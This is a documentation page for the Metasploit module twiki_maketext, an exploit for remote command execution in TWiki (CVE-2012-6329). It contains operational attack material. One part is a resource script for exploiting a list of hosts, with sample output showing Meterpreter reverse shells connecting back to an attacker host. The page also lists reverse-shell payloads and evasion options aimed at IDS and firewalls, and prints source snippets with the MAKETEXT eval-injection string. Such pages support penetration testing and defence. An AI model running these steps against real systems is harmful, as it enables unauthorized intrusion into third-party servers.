TWiki MAKETEXT Remote Command Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/webapp/twiki_maketext metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: TWiki MAKETEXT Remote Command Execution
Module: exploit/unix/webapp/twiki_maketext
Source code: modules/exploits/unix/webapp/twiki_maketext.rb
Disclosure date: 2012-12-15
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2012-6329
This module exploits a vulnerability in the MAKETEXT Twiki variable. By using a specially crafted MAKETEXT, a malicious user can execute shell commands since user input is passed to the Perl "eval" command without first being sanitized. The problem is caused by an underlying security issue in the CPAN:Locale::Maketext module. This works in TWiki sites that have user interface localization enabled (UserInterfaceInternationalisation variable set). If USERNAME and PASSWORD aren't provided, anonymous access will be tried. Also, if the 'TwikiPage' option isn't provided, the module will try to create a random page on the SandBox space. The module has been tested successfully on TWiki 5.1.2 as distributed with the official TWiki-VM-5.1.2-1 virtual machine.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using twiki_maketext against a single host
Normally, you can use exploit/unix/webapp/twiki_maketext this way:
msf > use exploit/unix/webapp/twiki_maketext
msf exploit(twiki_maketext) > show targets
... a list of targets ...
msf exploit(twiki_maketext) > set TARGET target-id
msf exploit(twiki_maketext) > show options
... show and set options ...
msf exploit(twiki_maketext) > exploit
Using twiki_maketext against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your twiki_maketext will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/webapp/twiki_maketext")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the unix/webapp/twiki_maketext exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/twiki_maketext
msf6 exploit(unix/webapp/twiki_maketext) > show info
Name: TWiki MAKETEXT Remote Command Execution
Module: exploit/unix/webapp/twiki_maketext
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2012-12-15
Provided by:
George Clark
juan vazquez <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password to authenticate with (anonymous if password not provided)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes TWiki base path
TwikiPage no TWiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)
USERNAME no The user to authenticate as (anonymous if username not provided)
VHOST no HTTP server virtual host
Payload information:
Space: 1024
Description:
This module exploits a vulnerability in the MAKETEXT Twiki variable.
By using a specially crafted MAKETEXT, a malicious user can execute
shell commands since user input is passed to the Perl "eval" command
without first being sanitized. The problem is caused by an
underlying security issue in the CPAN:Locale::Maketext module. This
works in TWiki sites that have user interface localization enabled
(UserInterfaceInternationalisation variable set). If USERNAME and
PASSWORD aren't provided, anonymous access will be tried. Also, if
the 'TwikiPage' option isn't provided, the module will try to create
a random page on the SandBox space. The module has been tested
successfully on TWiki 5.1.2 as distributed with the official
TWiki-VM-5.1.2-1 virtual machine.
References:
https://nvd.nist.gov/vuln/detail/CVE-2012-6329
OSVDB (88460)
http://www.securityfocus.com/bid/56950
http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329
Module Options
This is a complete list of options available in the unix/webapp/twiki_maketext exploit:
msf6 exploit(unix/webapp/twiki_maketext) > show options
Module options (exploit/unix/webapp/twiki_maketext):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password to authenticate with (anonymous if password not provided)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes TWiki base path
TwikiPage no TWiki Page with edit permissions to inject the payload, by default random Page on Sandbox (Ex: /Sandbox/MsfTest)
USERNAME no The user to authenticate as (anonymous if username not provided)
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/twiki_maketext exploit:
msf6 exploit(unix/webapp/twiki_maketext) > show advanced
Module advanced options (exploit/unix/webapp/twiki_maketext):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/twiki_maketext module can exploit:
msf6 exploit(unix/webapp/twiki_maketext) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/twiki_maketext exploit:
msf6 exploit(unix/webapp/twiki_maketext) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
1 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
2 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
3 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
4 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
5 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
6 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
7 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
8 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
9 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/twiki_maketext exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/twiki_maketext) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Error retrieving the crypttoken
Here is a relevant code snippet related to the "Error retrieving the crypttoken" error message:
98: 'nowysiwyg' => '1'
99: }
100: })
101:
102: if not res or res.code != 200 or res.body !~ /name="crypttoken" value="([0-9a-f]*)"/
103: vprint_error("Error retrieving the crypttoken")
104: return nil
105: end
106:
107: crypttoken = $1
108: vprint_good("crypttoken found: #{crypttoken}")
Error using anonymous access
Here is a relevant code snippet related to the "Error using anonymous access" error message:
109:
110: if session.empty?
111: if res.get_cookies =~ /TWIKISID=([0-9a-f]*)/
112: session = $1
113: else
114: vprint_error("Error using anonymous access")
115: return nil
116: end
117: end
118:
119: vprint_status("Injecting the payload...")
Error injecting the payload
Here is a relevant code snippet related to the "Error injecting the payload" error message:
128: 'text' => "#{rand_text_alpha(3 + rand(3))} %MAKETEXT{\"#{rand_text_alpha(3 + rand(3))} [_1] #{rand_text_alpha(3 + rand(3))}\\\\'}; `#{code}`; { #\" args=\"#{rand_text_alpha(3 + rand(3))}\"}%"
129: }
130: })
131:
132: if not res or res.code != 302 or res.headers['Location'] =~ /oops/ or res.headers['Location'] !~ /#{@page}/
133: print_warning("Error injecting the payload")
134: print_status "#{res.code}\n#{res.body}\n#{res.headers['Location']}"
135: return nil
136: end
137:
138: location = URI(res.headers['Location']).path
Error getting a session ID
Here is a relevant code snippet related to the "Error getting a session ID" error message:
193: print_status("Using anonymous access...")
194: session = ""
195: end
196:
197: if not session
198: fail_with(Failure::Unknown, "Error getting a session ID")
199: end
200:
201: # Inject payload
202: print_status("Trying to inject the payload on #{@page}...")
203: res = inject_code(session, payload.encoded)
Error injecting the payload
Here is a relevant code snippet related to the "Error injecting the payload" error message:
200:
201: # Inject payload
202: print_status("Trying to inject the payload on #{@page}...")
203: res = inject_code(session, payload.encoded)
204: if not res
205: fail_with(Failure::Unknown, "Error injecting the payload")
206: end
207:
208: # Execute payload
209: print_status("Executing the payload through #{res}...")
210: res = send_request_cgi({
Error executing the payload
Here is a relevant code snippet related to the "Error executing the payload" error message:
210: res = send_request_cgi({
211: 'uri' => res,
212: 'cookie' => "TWIKISID=#{session}"
213: })
214: if not res or res.code != 200 or res.body !~ /HASH/
215: fail_with(Failure::Unknown, "Error executing the payload")
216: end
217:
218: print_good("Exploitation was successful")
219:
220: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10505 Merged Pull Request: Add post authentication information in modules
- #8940 Merged Pull Request: spelling/grammar fixes part 2
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5822 Merged Pull Request: Fix #5659: Update CMD exploits payload compatibility options
- #3387 Merged Pull Request: Resolved some Set-Cookie warnings
- #2905 Merged Pull Request: Update Exploit Checks and a msftidy to go with it
- #2525 Merged Pull Request: Change module boilerplate
- #2229 Merged Pull Request: Add fail_with() to all module types, move Failure constants to Msf::Module
- #1191 Merged Pull Request: Added module for CVE-2012-6329
References
- CVE-2012-6329
- OSVDB (88460)
- BID-56950
- http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2012-6329
See Also
Check also the following modules related to this module:
- exploit/unix/webapp/foswiki_maketext
- exploit/unix/webapp/twiki_history
- exploit/unix/webapp/twiki_search
- exploit/unix/http/twiki_debug_plugins
- exploit/unix/webapp/moinmoin_twikidraw
Related Nessus plugins:
- TWiki < 5.1.3 Multiple Vulnerabilities
- Fedora 16 : perl-5.14.3-205.fc16 (2013-0633)
- Fedora 18 : perl-5.16.2-237.fc18 (2013-0659)
- Fedora 17 : perl-5.14.3-221.fc17 (2013-1836)
- SuSE 11.2 Security Update : Perl (SAT Patch Number 7439)
- SuSE 10 Security Update : Perl (ZYPP Patch Number 8479)
- CentOS 5 / 6 : perl (CESA-2013:0685)
- RHEL 5 / 6 : perl (RHSA-2013:0685)
- Scientific Linux Security Update : perl on SL5.x, SL6.x i386/x86_64 (20130326)
- Mandriva Linux Security Advisory : perl (MDVSA-2013:113)
Authors
- George Clark
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
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